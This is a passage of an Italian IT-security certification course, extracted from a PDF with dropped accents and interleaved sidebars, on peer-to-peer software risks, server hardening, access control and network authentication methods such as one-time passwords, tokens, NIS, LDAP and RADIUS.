trusion Detection System monitoraggio degli eventi che si
svolgono sul computer e sulla rete per identificare poten-
ziali rischi) hanno un ruolo nella protezione contro il p2p.
Il celebre Snort, che ha ispirato vari sistemi commerciali e
resta un prodotto open (anche dopo che Check Point nel
2005 ne ha acquisito il produttore Sourcefire), uno stru-
mento prezioso per analizzare il traffico in rete e tenerne
sotto controllo i modelli di comportamento. In ambiente Li-
nux anche possibile creare in tempo reale nuove regole
per il firewall (un componente del sistema operativo) per
far fronte ai mutamenti di parametri del traffico p2p.
In ogni caso, ogni operatore di sicurezza dispone di un
vasto arsenale di strumenti e utility, sia in ambiente Win-
5.7.3.9 Essere al
corrente dei rischi
legati alle tecnologie
e programmi peer-to-
peer.
Blocco del p2p
in un firewall in
base al numero
di porta
Elenco delle
connessioni
attive con
netstat
dows, sia in ambiente Linux, per monitorare il traffico di re-
te e la relazione tra processi, protocolli, porte utilizzate e fi-
le aperti. Alcuni strumenti, fra i tanti, sono gli analizzatori
di pacchetti (tcpdump, Ethereal, Microsoft Network Moni-
tor ecc.) e comandi come netstat, nmap, lsof, fport e netcat.
Condivisione delle informazioni locali
Le applicazioni p2p sono nate nellottica della condivi-
sione paritetica di informazioni, quindi nel loro modello di
utilizzo non previsto che un sistema agisca solo da client
senza condividere la propria quota di informazioni, parte-
cipando cio ai vantaggi, ma non agli oneri della rete. Ci
comporta due conseguenze principali:
1. la configurazione di default prevede, generalmente, la
condivisione dellintero disco del sistema;
2. molti sistemi p2p attuano un meccanismo di incenti-
vi/disincentivi per cui a una maggiore condivisione di
spazio corrispondono una maggiore facilit nel reperire
informazioni e una maggiore velocit di download.
Si finisce, quindi, per condividere molte pi informazio-
ni di quanto sia nelle intenzioni dellutente o, soprattutto,
dellazienda proprietaria del sistema client. Spesso luten-
te non neppure consapevole del fatto di condividere lin-
tero disco, comprese eventuali informazioni riservate (a
partire dallarchivio di posta). Questo uno dei motivi, in-
sieme alloccupazione di banda e alla perdita di produtti-
vit, per cui le applicazioni p2p devono essere strettamen-
te controllate, se non bandite, nelle aziende. In ogni caso,
nessuna procedura e politica di sicurezza anche approssi-
mativa pu consentire che un dipendente installi applica-
zioni, un compito riservato agli amministratori e soggetto
a regole di sicurezza.
C un altro fattore da tenere in considerazione a pro-
posito delle reti p2p, sia indesiderate (come Kazaa e simi-
li), sia utilizzate per uno scopo pi accettato, come quelle
di telefonia IP personale (come Skype). Per distribuire me-
glio il carico di lavoro (ad esempio, il trasferimento di un
grosso file), spesso un client non scarica tutto il file dallo
stesso host paritetico. Il file pu essere suddiviso in sezio-
ni, e il client scarica ogni sezione da un peer diverso. Quan-
do tutte le sezioni sono state scaricate, il file viene ricom-
posto e, alla fine, lutente lo colloca nella cartella deside-
rata. Finch il file non stato riassemblato, i suoi frammenti
si trovano nellarea condivisa e sono, quindi, pubblica-
mente disponibili; possono iniziare subito a essere scari-
cati da qualcun altro prima che il file sia stato ricostruito.
Tale aspetto, oltre a contribuire al traffico locale e alloc-
cupazione di disco, rilevante soprattutto laddove le nor-
mative nazionali prevedano reati pi gravi per chi condivi-
de i file illegalmente rispetto a chi li scarica per uso perso-
nale. Visto che downolad e upload sono due aspetti in-
scindibili dellapplicazione p2p, bene che i dirigenti
aziendali siano messi al corrente della responsabilit ag-
gravata di cui potrebbero essere chiamati a rispondere.
Problematiche legate alla licenza e al software
Se quanto sopra non bastasse, molto programmi p2p so-
no distribuiti con licenze la cui accettazione (tipicamente
confermata senza leggere il testo) comporta la concessio-
ne di spazio su disco e tempo di CPU inutilizzati al fornito-
re del software, che ne pu fare potenzialmente e legal-
mente luso che preferisce. Gli stessi pacchetti sono spes-
so distribuiti insieme a software di terze parti di cui ri-
chiesta linstallazione; tale software ha sovente lo scopo di
visualizzare pop-up pubblicitari, di raccogliere informa-
zioni sul sistema e sullutente, e altre attivit analoghe di
adware e spyware (vedi la lezione 5 per una descrizione
dettagliata di adware, spyware e altri tipi di malware).
Ladware/spyware sempre pi sofisticato per sfuggire
al rilevamento e reinstallarsi da unubicazione nascosta
quando viene cancellato. Il danno potenziale dello spywa-
re analogo a quello dei virus, ed in agguato ogni volta
che sinstalla software gratuito non fidato. Anche per tale
motivo si dovrebbe evitare di utilizzare applicazioni p2p, a
meno che sia accertato che non servono per lo scambio di
materiale protetto da copyright e che non installano alcun
software di tipo adware/spyware. Anche tali aspetti pre-
Elenco delle
connessioni attive con
netstat
Elenco delle porte
aperte con nmap
Elenco dei socket aperti
in lsof
Elenco di processi,
porte e file aperti con
fport
sentano un risvolto legale, che ricade sotto le leggi per la
privacy e per la conservazione sicura dei dati.
Un elenco parziale delle applicazioni p2p:
WinMX
KaZaA
KaZaA Lite
K++
iMesh
Grokster
eDonkey
eMule
BitTorrent
BitSpirit
BitComet
Overnet
SoulSeek
Piolet
Blubster
DirectConnect
DC++
Gnutella
Gnotella
Newtella
Shareaza
Gnucleus
XoloX
LimeWire
BearShare
Morpheus
Nullsoft WASTE
P2PNetworking
Freenet Fred
Chain Cast
RockItNet
MLdonkey
Lopster
NetAntAimster
AudioGalaxy
Mactella
SwapperNet
Phex
Skype
Konspire
Carracho
Applejuice
VarVar
Toadnode
Espra
Hardening di sistemi non pubblici
Lhardening (irrobustimento) il processo dimplemen-
tare i controlli di sicurezza e le contromisure in un sistema.
Nel processo di sicurezza, lhardening viene dopo la valu-
tazione e la definizione delle policy, ed seguito dallattivit
di audit (esame dei dati e osservazione delle attivit da par-
te di personale esterno per verificare se limplementazione
rispecchia le intenzioni espresse nella policy). Valutazione,
policy, hardening e audit sono una sequenza di attivit che
si ripete ciclicamente.
I servizi dovrebbero essere offerti da sistemi dedicati a
tale scopo; in tal modo, i sistemi possono essere irrobusti-
ti (hardened), cio configurati in modo da essere partico-
larmente difficili da attaccare (anche la ridondanza fa par-
te dellaffidabilit generale, quando si tratta di server vita-
li, come DNS, Domain Server e server di autenticazione).
Pi numerose sono le attivit svolte su un sistema e i ser-
vizi offerti, pi aumentano i compromessi necessari tra fun-
zionalit e sicurezza; nel caso ideale, un sistema dedica-
to a un unico servizio (come DNS, domain server, web ser-
ver, mail server, FTP server, ecc.), e pu essere ottimizza-
to per le sue esigenze senza il rischio di compromettere al-
tri servizi in caso di attacco.
Lhardening di un sistema comincia dallinstallazione. Il
sistema dovrebbe essere installato in una configurazione
minima, ben pi ridotta di quella standard (in Windows si
pu prendere come base di partenza i servizi inclusi nella
modalit provvisoria - safe mode - e aggiungere i driver e i
servizi necessari). In Windows (di cui hanno qualche grado
di sicurezza solo le versioni 2000, XP e successive) pos-
sibile modificare la configurazione dei servizi in vari modi.
Per non causare danni anche irreparabili, si deve evitare di
apportare modifiche globali ai servizi, cio modificare di-
rettamente gli attributi di attivazione dei servizi su base
globale. La soluzione corretta creare un profilo hardware
aggiuntivo per ogni diversa configurazione di servizi, par-
tendo da una copia del profilo completo di default (si usa
Pannello di controllo > Sistema > Hardware > Profili hardwa-
re > copia/rinomina) e disabilitando i servizi superflui nei
profili che si vuole snellire tramite services.msc. In tal mo-
do, anche in caso di malfunzionamenti, si pu riavviare il si-
stema nel profilo standard e modificare o eliminare il pro-
filo che causa problemi. Eliminando i servizi non necessa-
ri si riduce il diametro del bersaglio, e il sistema diventa pi
semplice da gestire e pi veloce nelle prestazioni. Il termi-
ne Profilo hardware non deve trarre in inganno: tale per
certe applicazioni (per esempio, per i portatili usati con o
senza base di espansione), ma in tale contesto intendiamo
profili diversi secondo i servizi da attivare a parit di con-
figurazione hardware.
Per verificare su quali porte ci siano servizi attivi, prima
di disabilitarli, si pu usare netstat an in Windows e in Li-
nux (in Linux comodo il comando netstat -antup). Si de-
vono attivare solo i servizi previsti, e si deve avere un qua-
dro chiaro di quali servizi sono attivi sulle diverse porte, e
perch.
Dopo linstallazione iniziale, devono essere installati tut-
ti gli aggiornamenti di sicurezza previsti per il sistema e per
i servizi attivi. A questo punto, si possono selezionare i ser-
vizi di rete che si vogliono attivare, ed eventualmente ese-
guire gli ulteriori aggiornamenti.
La configurazione dei singoli servizi devessere verifica-
ta con cura. Dato che i servizi saranno accessibili dalla re-
te e che errori di configurazione si possono tradurre in ac-
cessi non autorizzati al sistema, i servizi devono essere abi-
litati con i privilegi minimi per svolgere la loro funzione. In
molti casi, pu essere utile creare utenti o gruppi specifici
di utenti per tale servizio, in modo da poter tarare i diritti
di accesso ai file. Windows prevede gi alcuni gruppi di
utenti per usi speciali, e in Linux ce n a decine gi distin-
ti per applicazioni. La definizione e configurazione di ap-
positi gruppi permette di assegnare i diritti minimi neces-
sari di accesso ai file, evitando rischi di sconfinamento.
Ad esempio, se un servizio HTTP deve fornire pagine
HTML statiche, opportuno che non abbia diritto di scrit-
5.7.3.10 Sapere
quali buone prassi
(good practices)
considerare per
proteggere e
utilizzare un server
locale (non-Internet).
Creazione di un nuovo
profilo hardware in
Windows
Disattivazione di un
servizio in un profilo
hardware di Windows
tura sui documenti, n su altre directory o file, fatta ecce-
zione per i log; in tal modo, nessun comportamento ano-
malo pu essere utilizzato per sostituire le pagine web o
compromettere parti del sistema. In generale, i servizi non
dovrebbero essere eseguiti con i privilegi di utenti o grup-
pi potenti, come Local Systemo root/Administrator. In alcu-
ni casi, tali privilegi possono essere necessari inizialmente;
ad esempio, lassociazione tra un programma e una porta
inferiore a 1024 concessa solo a root. Perci, le applica-
zioni che fanno uso delle porte note (quelle con numera-
zione standard ufficiale tra 0 e 1023) iniziano con utente
root, eseguono lassociazione (binding) con la porta e poi
cambiano il proprio utente, assumendone uno con privile-
gi ridotti.
Un altro meccanismo che riduce la vulnerabilit dei ser-
vizi offerti su Internet lutilizzo di spazi di lavoro ristret-
ti, il che si concretizza permettendo ai processi del servizio
di vedere solo una parte del file system e, in generale, del-
le risorse del sistema. Esempi sono le sandbox (ambienti
software protetti, dove il programma non pu fare danno,
che prendono il nome dalla cassetta di sabbia per i giochi
dei bambini) o, in Unix/Linux, il comando chroot (Change
Root), che cambia la directory root da / al percorso indica-
to come parametro del comando. La directory che diventa
root, normalmente, offre un ambiente ridotto dove un pro-
gramma di prova, o non fidato, non pu fare danni. Una vol-
ta confinato nella sandbox cos allestita, con un adeguato
corredo di sottodirectory di supporto. E una volta asse-
gnata tale directory come nuova root, il processo non ha la
percezione dellesistenza di un file system pi ampio (seb-
bene un processo con privilegi di root possa uscire dal-
lambiente ristretto mediante un altro comando chroot). Il
vantaggio che leventuale compromissione di un servizio
non comporta direttamente anche la compromissione del
dellintero sistema, il quale perci mantiene la capacit di
rilevare lintrusione. Lo svantaggio una maggiore diffi-
colt di configurazione, luso di librerie dinamiche, e via di-
cendo. Molti pacchetti software per lofferta di servizi In-
ternet su sistemi Unix offrono tale opzione nelle possibilit
di configurazione. Tale funzionalit dovrebbe esser attiva-
ta quando disponibile. Negli altri casi, possibile eseguire
il processo in un ambiente ristretto con chroot, anche sen-
za specifiche funzionalit dellapplicazione. Ad esempio,
BIND (il server DNS) pu essere eseguito in ambiente ch-
root con lopzione t <directory> (da associare allopzione -
u utente, per evitare di eseguirlo con i privilegi di root).
Lambiente deve essere, comunque, preparato allo scopo
dallutente.
poi necessario proteggere i servizi autenticati dai ten-
tativi di attacchi alle password. Per evitare questo tipo di
problema, oltre a stabilire policy e procedure per lasse-
gnazione di password di qualit, opportuno configurare
i servizi in modo tale da:
1. attendere un intervallo di alcuni secondi fra unautenti-
cazione fallita e un nuovo tentativo, cos da non permet-
tere una serie di tentativi in breve tempo;
2. bloccare almeno temporaneamente un account in caso
di un numero elevato di autenticazioni fallite; questo
meccanismo dovrebbe essere usato con cautela, perch
potrebbe essere sfruttato per impedire luso legittimo
del servizio in una sorta di Denial of Service; laccount
dovrebbe essere riattivato automaticamente in tempi ab-
bastanza brevi;
3. registrare i tentativi falliti e comunicarli allutente al pri-
mo accesso legittimo, cos che sia informato del rischio
e possa adottare misure opportune.
Un punto importante verificare la qualit delle pas-
sword. Su molti sistemi Unix si pu attivare luso delle
cracklib, librerie che permettono di compiere sulle pas-
sword le stesse verifiche che sarebbero condotte da un
programma di cracking; dato che la password disponibi-
le, i controlli sono molto rapidi e sono effettuati quando lu-
tente prova a cambiare la password. Su alcuni sistemi Li-
nux, il modo per attivare tale opzione per il comando pas-
swd nella corrispondente configurazione PAM (Pluggable
Authentication Module una struttura dinterfacce di au-
tenticazione sovrapposta al sistema operativo) il se-
guente:
passwd password requisite
usr/lib/security/pam_cracklib.so retry=3
Nei sistemi Windows si pu attivare il controllo della-
deguata complessit delle password nelle local policy (cri-
teri locali): Pannello di controllo > Strumenti di amministra-
zione > Criteri di protezione locali > Criteri account > Criterio
password > doppio clic su Le password devono essere
conformi ai requisiti di complessit > Attivato > OK.
Hardening di sistemi pubblici
Lirrobustimento dei sistemi installati su reti pubbliche
segue le linee guida valide per i sistemi non pubblici, con
laggiunta di ulteriori criteri per far fronte ad attacchi che
sono improbabili in una rete privata, come ad esempio i De-
nial of Service. Inoltre, su una rete pubblica, possibile at-
taccare i sistemi e i servizi in modo praticamente indistur-
bato fino a trovare una vulnerabilit. Un cracker inizia tipi-
camente con la scansione delle porte su una sottorete, a
caccia di porte TCP/IP. Le porte aperte identificano i servi-
zi attivi, che sono potenziali punti dingresso in un sistema.
Poi il cracker identifica lhost o il servizio con meccanismi
di fingerprinting (rilevamento dellimpronta del sistema),
usando strumenti come nmap o xprobe, o tramite banner
grabbing (afferrare lo striscione, che in questo caso il
messaggio di risposta di un servizio quando viene contat-
tato, per esempio tramite netcat). Contattando un web ser-
ver sulla porta 80, la risposta rivela il tipo di server (di so-
lito Apache o IIS), e d unindicazione del sistema operati-
vo. Quindi il cracker, ben informato degli exploit (modi di
sfruttare vulnerabilit note a fini di attacco) di ogni servi-
zio, prova ad attaccarlo sapendo che una buona percen-
tuale dinstallazioni non tenuta aggiornata con le patch.
Bloccare lindirizzo IP di provenienza di un attacco, an-
che quando rilevato, significa solo ritardare lattaccante,
che prova pi tardi da un altro indirizzo. E molto difficile
risalire allattaccante e bloccarlo, perci le misure di dife-
sa non devono far conto su tale ipotesi.
La configurazione di un servizio pubblico non differisce
molto da quella usata su un server privato, se non nel fat-
to fondamentale che i passi indicati devono essere esegui-
ti con maggior rigore, in particolare la scelta dei servizi at-
tivi, laggiornamento del sistema e il monitoraggio. Si de-
vono evitare i protocolli e i servizi con meccanismi di au-
tenticazione deboli e gli applicativi (per esempio, basati sul
web) che non diano garanzie di robustezza e pronta rispo-
sta per correggere falle di sicurezza.
Il monitoraggio dei sistemi pubblici deve essere attento
e costante. Non basta disporre degli strumenti necessari
(registrazione dei file di log, firewall, IDS e varie utility), ma
bisogna utilizzarli appieno assicurandosi che lo stato dei si-
stemi, inclusi i relativi log, sia controllato regolarmente e di
frequente, individuando le anomalie e comprendendone le
cause. Anche dal punto di vista dei produttori, lattenzione
per la sicurezza dei sistemi esposti su reti pubbliche mag-
giore rispetto alle reti private, quindi si pu disporre di
maggiore documentazione per configurazioni sicure. An-
che per i sistemi operativi sono solitamente disponibili nu-
merose guide su come utilizzare le funzioni di sicurezza.
Linstallazione e la configurazione di un sistema desti-
nato a un rete pubblica deve avvenire in un ambiente pro-
tetto ed essere completata prima della messa in esercizio.
Esporre un sistema durante la configurazione, o configu-
rarlo solo parzialmente, pu rendere inutili le misure che
verranno prese successivamente; il sistema rischia di es-
sere compromesso poco dopo lattivazione e le protezioni
aggiuntive, in seguito, potrebbero risultare inefficaci.
Ladware, o software
supportato dalla
pubblicit,
qualunque software
che automaticamente
esegua, visualizzi o
scarichi materiale
pubblicitario in un
computer dopo che il
software stato
installato o mentre
lapplicazione viene
usata.
Il termine spyware
copre una vasta
categoria di software
maligno progettato
per intercettare o
prendere parziale
controllo del
funzionamento di un
computer senza il
consenso informato
del proprietario o del
legittimo utente.
Mentre spyware, alla
lettera, suggerisce
software che esegue
unazione di
monitoraggio delle
informazioni e azioni
dellutente, la
categoria si estesa
al software che
sovverte il normale
funzionamento del
computer a beneficio
di una terza parte.
Lo spyware differisce
da virus e worm
perch non si
autoreplica. Come
molti virus, lo
spyware sfrutta per i
computer infetti per
vantaggi commerciali.
Tipiche tattiche, a tal
fine, includono
lemissione di
annunci pubblicitari
pop-up, il furto di
informazioni personali
(e-mail e informazioni
finanziarie come
numeri di carta di
credito), il
monitoraggio della
navigazione web a
scopo di marketing, e
persino il
dirottamento delle
richieste http verso i
siti degli inserzionisti.
buone prassi (good
practices) considerare
nel proteggere e
utilizzare un server
Internet.
ITAdministrator - Sicurezza informatica Lezione 7C
L
a discussione sul controllo degli accessi, gi introdot-
ta nella terza lezione alla sezione 5.3.6, merita di esse-
re approfondita per gli aspetti relativi allaccesso ai ser-
vizi di rete. Nei moderni sistemi operativi gli accessi sono
mediati da un sottosistema, che prende il nome di referen-
ce monitor. Il concetto di reference monitor fu proposto nel
1972 da uno studio dellaviazione militare americana nel-
lambito della valutazione dei requisiti di sicurezza infor-
matica. Da allora, esso ha costituito il modello astratto del-
le propriet necessarie e sufficienti che deve avere qual-
siasi sistema adibito al controllo degli accessi. In sintesi, un
reference monitor un modulo che controlla ogni accesso
software a dati e dispositivi, e possiede tre caratteristiche
fondamentali: sempre usato per ogni richiesta di accesso,
a prova di manomissione (inattaccabile), ed abbastan-
za piccolo da poter essere completamente analizzato e col-
laudato per escludere qualsiasi difetto.
In pratica, in un sistema operativo, un reference monitor
il sottosistema attraverso cui devono transitare tutti gli
accessi, e che verifica i diritti di accesso dei soggetti (indi-
vidui, processi, ecc.) in relazione agli oggetti dellaccesso.
Perch un sistema possa ricevere una valutazione B2 o
superiore, in base ai criteri TCSEC (Trusted Computer Sy-
stem Evaluation Criteria) descritti nella prima lezione, deve
applicare il concetto di reference monitor.
Quando un sistema remoto richiede accesso a oggetti lo-
cali attraverso la rete, un processo locale realizza il con-
trollo degli accessi in due possibili modi:
1. il processo locale viene eseguito con i diritti del sogget-
to remoto e sono utilizzati i controlli di accesso del si-
stema operativo;
2. il processo locale viene eseguito con diritti diversi da
quelli del soggetto remoto, associati a un soggetto loca-
le e spesso pi ampi; in questo caso il sistema operativo
si limita a verificare i diritti del soggetto locale, e parte
del controllo a carico del processo stesso.
Un esempio del primo caso il servizio Telnet. Lutente
di tale servizio, dopo lautenticazione, ottiene infatti una
shell che viene eseguita con i suoi diritti. Perch ci sia pos-
sibile, il processo che riceve la connessione ed effettua lau-
tenticazione deve avere privilegi tali da poter eseguire una
shell con lidentificativo di un utente qualsiasi, incluso root.
Su un sistema Unix tale operazione richiede che il servizio
sia eseguito con i privilegi di root, il che lo rende partico-
larmente critico: nel caso avvenga una violazione prima
dellautenticazione, il servizio permetterebbe di controlla-
temi. In questa terza puntata ci occupiamo del controllo degli
accessi e della conseguente gestione dei log, un argomento di
attualit in relazione alla tutela della privacy e della protezione
dei dati. I contenuti sono
composti da tre elementi: un
articolo sulla rivista, un articolo
molto pi esteso in formato PDF,
completo su DVD
di Giorgio Gobbi
Materiale didattico
validato da AICA
IT Administrator
Modulo 5 -
IT Security
"AICA Licenziataria
programma EUCIP
of Informatic
validato copre
puntualmente e
integralmente gli
e necessari per il
conseguimento della
certificazione IT
Administrator IT
Security. Di
conseguenza AICA
del marchio EUCIP,
vigenti"
2.0 (curriculum
ufficiale AICA)
5.7.4 Controllo degli
accessi
applicazioni
Lezione 7: parte 1 Sicurezza di rete Ethernet e TCP/IP
parte 2 Sicurezza in mobilit e on line
In collaborazione
con:
Sicurezza di rete Controllo degli accessi
Impedire gli accessi
non autorizzati in rete
Lezione 7C IT Administrator - Sicurezza informatica
re completamente il sistema. Dopo lautenticazione, invece,
il reference monitor quello del sistema operativo, e pu es-
sere considerato affidabile.
Si verifica il secondo caso quando unapplicazione au-
tentica gli utenti tramite un proprio database e, in base al-
lautenticazione, permette laccesso solo a determinati file.
Ad esempio, un server Web pu usare lautenticazione
HTTP e, in base a essa, limitare laccesso ai file. In tal caso,
il processo server deve essere in grado di leggere qualsia-
si file; il sistema operativo non esercita altri controlli, men-
tre il processo che deve verificare se lutente ha il diritto
di accedere ai file richiesti. In questa situazione, una parte
del reference monitor implementata dallapplicazione; per-
ci, anche dopo lautenticazione, sono possibili violazioni
da parte dellapplicazione che possono portare allaccesso
non autorizzato a parte dei file, anche se non allintero si-
stema. Se i file gestiti dallapplicazione sono quelli critici
del sistema, la situazione di nuovo ad alto rischio, nono-
stante lapparenza di una maggiore sicurezza.
Si pu trovare una situazione analoga in applicazioni
Web realizzate con architettura a tre livelli (three tier). Que-
sta unarchitettura client/server distribuita che stata in-
trodotta per ovviare ai limiti di espandibilit ed efficienza
dellarchitettura a due livelli (two tier), dove la maggior par-
te del processing avviene dal lato client, mentre il lato ser-
ver si occupa di accedere ai dati tramite un sistema di ge-
stione di database (DBMS, DataBase Management System).
Nel modello a tre livelli, tra linterfaccia utente e il DBMS
viene introdotto un livello intermedio di servizi di gestione
dei processi che sono condivisi tra pi applicazioni. I tre li-
velli sono chiamati anche Client, Application Server e DBMS.
In molte applicazioni basate su questo modello, un servlet
(unapplicazione Java che estende le funzionalit di un Web
server) autentica gli utenti, riceve le loro richieste, ne ve-
rifica la legittimit e, per soddisfarle, accede a un database
che pu essere ubicato su un altro sistema. Sebbene il
DBMS abbia un proprio meccanismo di controllo degli ac-
cessi, il servlet accede al database come unico utente ed
esegue autonomamente il controllo degli accessi relativi a
ciascun utente. In tali configurazioni, n il sistema operati-
vo, n il DBMS sono coinvolti nel controllo degli accessi,
quindi diventa critica limplementazione dei controlli al-
linterno delle applicazioni.
Autenticazione in rete
Lautenticazione in rete deve far fronte a diverse situa-
zioni che non si presentano nellautenticazione locale:
1. in generale, il server non pu fare affidamento sul softwa-
re del sistema client, che non sotto il suo controllo;
2. in generale, la connessione non sotto controllo; una
delle conseguenze che, spesso, pi importante au-
tenticare il server nei confronti del client piuttosto che
viceversa, e a tale scopo stato introdotto il protocollo
SSL/TLS per realizzare HTTPS (HTTP over SSL).
Di conseguenza, sono necessari meccanismi di autenti-
cazione indifferenti alla possibilit che un attaccante sia in
ascolto sulla connessione e che tenti di manometterla. Esi-
stono diversi meccanismi per diverse categorie di attacchi;
tra i pi comuni metodi di autenticazione in rete ci sono i
seguenti:
1. password ripetibili: usate in rete, hanno tutti i difetti gi ci-
tati per lautenticazione locale, pi la possibilit di esse-
re intercettate e riutilizzate. Rappresentano il meccani-
smo pi diffuso (grazie alleconomia d'implementazio-
ne), ma anche il pi debole.
2. One time password: si basano su algoritmi che generano
una password unica per ogni autenticazione, in modo
che, anche se intercettate, le password non siano riuti-
lizzabili. Richiedono la sincronizzazione tra client e ser-
ver per stabilire la password da utilizzare di volta in vol-
ta.
3. Token hardware: sono una forma evoluta delle one time
password, in cui la password generata da un token
hardware, generalmente implementato sotto forma di
chiave USB. Due tipi di algoritmi comuni sono quello ba-
sato su contatore e quello basato sul clock; entrambi fan-
no uso di un codice segreto casuale memorizzato nel
token.
Un token hardware pu anche limitarsi a conservare una
semplice password ripetibile, con i vantaggi che essa pu
essere ignota allutente, essere lunga a piacere, e abbi-
nare la password di logon del sistema operativo con la
password propria del token, come protezione contro fur-
to e smarrimento.
4. Smart Card: possono avere vari formati, come quelli del-
la carta di credito, della chiave USB o della schedina dei
telefoni cellulari. Le versioni moderne includono un
chip con memoria e CPU, un sistema operativo e il
software crittografico necessario per la generazione di
chiavi asimmetriche. Nellambito di una PKI (infrastrut-
tura a chiave pubblica) possono essere usate sia per il lo-
gon locale e in rete (sotto il controllo di un sistema ope-
rativo come Windows Server o Linux Server), sia per il lo-
gon specifico di applicazioni di sicurezza. In qualche ca-
so, le funzioni di Smart Card (con chiavi e certificato
X.509) e di token OTP (one time password) possono coe-
sistere nello stesso dispositivo; ne un esempio leToken
NG-OTP di Aladdin, un dispositivo USB che pu fungere
da token hardware con password di logon (locale o Web),
da token OTP per accedere a particolari applicazioni, o
da token PKI per logon in un dominio Windows Server
dotato di propria Certification Authority.
5. Strumenti biometrici: sono sistemi hardware pi softwa-
re basati sulla registrazione e lutilizzo di dati biome-
trici, rilevati ad esempio tramite la scansione della re-
tina, delliride o delle impronte digitali. Lautenticazio-
ne biometrica richiede la garanzia di avere sotto con-
trollo le apparecchiature e la linea di comunicazione
con il sensore, il che non ottenibile in una configura-
zione client/server dove non si abbia il controllo com-
pleto della rete.
Architettura three tier
5.7.4.1. Essere al
corrente delle
modalit di
autenticazione alla
rete, e sapere in che
modo gestirle
Un token USB con
funzioni di OTP e PKI
Gestione centralizzata dellautenticazione
In una piccola rete i computer possono essere gestiti lo-
calmente e connettersi tra di loro su base paritetica, come
avviene ad esempio in un workgroup Windows o in am-
biente misto Windows-Linux, tramite le funzioni di condi-
visione di Samba. In tal caso la gestione ripetuta su ogni
computer, e ogni variazione (per esempio degli utenti e dei
loro privilegi) deve essere ripetuta su tutti i sistemi in mo-
do sincronizzato.
In un ambiente distribuito la gestione individuale dei
computer non praticamente attuabile, e si rende neces-
saria la gestione centralizzata di gruppi, utenti, privilegi di
accesso e risorse condivise. Un tipico esempio luso dei
servizi di directory e di LDAP (Lightweight Directory Access
Protocol) per centralizzare le informazioni da gestire, sul
modello degli elenchi telefonici. LActive Directory di Win-
dows Server limplementazione di Microsoft dei servizi di
directory LDAP e contiene, tra laltro, le regole di politica
amministrativa (group policies, o criteri di gruppo) dellin-
tero sistema distribuito e i profili degli utenti, che sono
quindi creati e modificati in modo centralizzato.
In casi speciali, per esempio in sistemi la cui criticit
particolarmente elevata, pu essere preferibile la gestione
locale per minimizzare ogni possibilit di attacco dalla re-
te. Per esempio, firewall e sistemi di rilevamento delle in-
trusioni sono gestiti localmente o attraverso connessioni di
rete ad alta sicurezza (cifrate e autenticate con PKI).
Un esempio di autenticazione distribuita, ma con ge-
stione centralizzata, consiste nellutilizzo di NIS (Network
Information Service). NIS semplifica lamministrazione del-
la rete fornendo un controllo centralizzato su una variet
dinformazioni di rete, come i nomi e gli indirizzi dei com-
puter, degli utenti e dei servizi di rete. NIS permette di ac-
cedere da ogni punto della rete alle informazioni di file co-
me /etc/passwd, /etc/shadow, /etc/groups, /etc/hosts/ e
/etc/services. Larchitettura NIS prevede luso di un server
NIS master, di server opzionali slave (con replica delle
informazioni del master) e dei client per laccesso alle infor-
mazioni. NIS memorizza le informazioni in una serie di file
detti mappe, volti a sostituire i tradizionali file Unix /etc e
altri file di configurazione. Questi file (un paio di dozzine)
equivalgono a tabelle a due colonne (chiave e valore), e for-
mano un vasto database di informazioni. Con NIS i profili
utente sono aggiornati in modo centralizzato e ridistribui-
ti sui singoli sistemi, che effettuano localmente lautenti-
cazione.
NIS stato ideato per piattaforme Unix, quindi non si
presta a essere utilizzato per lamministrazione centraliz-
zata di una rete eterogenea (per esempio Windows-Linux).
In questi casi si utilizzano i servizi di directory LDAP, sup-
portati da Windows e Linux. LDAP pu essere utilizzato per
qualsiasi struttura da amministrare centralmente, sia in so-
stituzione di un server NIS, sia per altre applicazioni (ru-
briche di e-mail, routing, ecc.). LDAP stato descritto nel-
la lezione 6.
Diversamente da NIS, dove lautenticazione avviene a li-
vello locale, protocolli come RADIUS (Remote Authentica-
tion Dial-in User Service) effettuano lautenticazione in mo-
do centralizzato tramite un server dedicato, che solita-
mente affiancato da un server di backup. In tal caso, i
Network Access Point (punti di accesso alla rete) fanno so-
lo da tramite fra l'utente e il server di autenticazione.
Quando lautenticazione avviene in modo distribuito, la
compromissione di un singolo nodo porta allaccesso del-
lintero database degli utenti. Ci pu essere o meno un
problema, a seconda del meccanismo di autenticazione uti-
lizzato. Ad esempio, se gli utenti sono autenticati tramite
token o Smart Card basati su chiavi asimmetriche, linfor-
mazione in possesso del server soprattutto la chiave pub-
blica dellutente, che non uninformazione critica.
Crittografia
e autenticazione in rete
Uno dei limiti dei meccanismi di autenticazione tradi-
zionali, quando utilizzati in rete, che sono concepiti per
autenticare linizio di una connessione, in base allassunto
che tutto il traffico della connessione provenga dal sog-
getto che stato autenticato inizialmente. In un ambiente
di rete, invece, il traffico pu essere modificato dopo che
avvenuta lautenticazione. Considerando che il traffico
TCP/IP a pacchetti, in assenza di misure specifiche non
c garanzia che i pacchetti della connessione provengano
tutti dalla stessa origine o che non siano stati modificati.
Per garantire che tutti i dati trasmessi su una connessione
provengano dal soggetto che stato autenticato e che non
siano stati manomessi, esistono protocolli che fanno uso di
funzioni crittografiche. Buona parte dei protocolli pi dif-
fusi che provvedono allautenticazione e allintegrit della
connessione, si basa su due meccanismi: lautenticazione
challenge/response con chiavi asimmetriche e lHashed
MAC (Hashed Message Authentication Code - il risultato del-
lhashing applicato al messaggio pi una chiave segreta
simmetrica, vengono trasmessi messaggio e MAC; a desti-
nazione il MAC viene ricalcolato sul messaggio pi chiave
simmetrica e confrontato col MAC ricevuto, cos da verifi-
care lintegrit del messaggio e lautenticazione del mit-
tente).
Autenticazione challenge/response
con chiavi asimmetriche
I meccanismi di autenticazione challenge/response pre-
vedono unentit che presenta una domanda (challenge), e
unaltra entit che deve fornire una risposta valida (re-
sponse) per essere autenticata. In particolare, consideria-
mo il caso in cui la parte autenticatrice invia un nonce (nu-
Impostazione di un
server NIS in Linux
Selezione dei dati da
gestire con NIS
5.7.4.2. Conoscere
l'autenticazione alla
rete mediante chiave
cifrata, e sapere in
che modo gestirla
mero casuale diverso a ogni autenticazione) e il soggetto
da autenticare elabora il nonce utilizzando le proprie cre-
denziali e restituisce il risultato.
Unimplementazione tipica di challenge/response utiliz-
za chiavi asimmetriche. La parte da autenticare riceve un
numero casuale, ne calcola lhash (un numero di lunghez-
za fissa, a partire da un qualsiasi messaggio o documento,
che verifica che le informazioni non siano state alterate per
dolo o per errore) e cifra il risultato con la propria chiave
privata. Tale valore restituito alla parte autenticatrice,
che lo decifra con la chiave pubblica del soggetto (conva-
lidata da certificato) al fine di verificare che la parte da au-
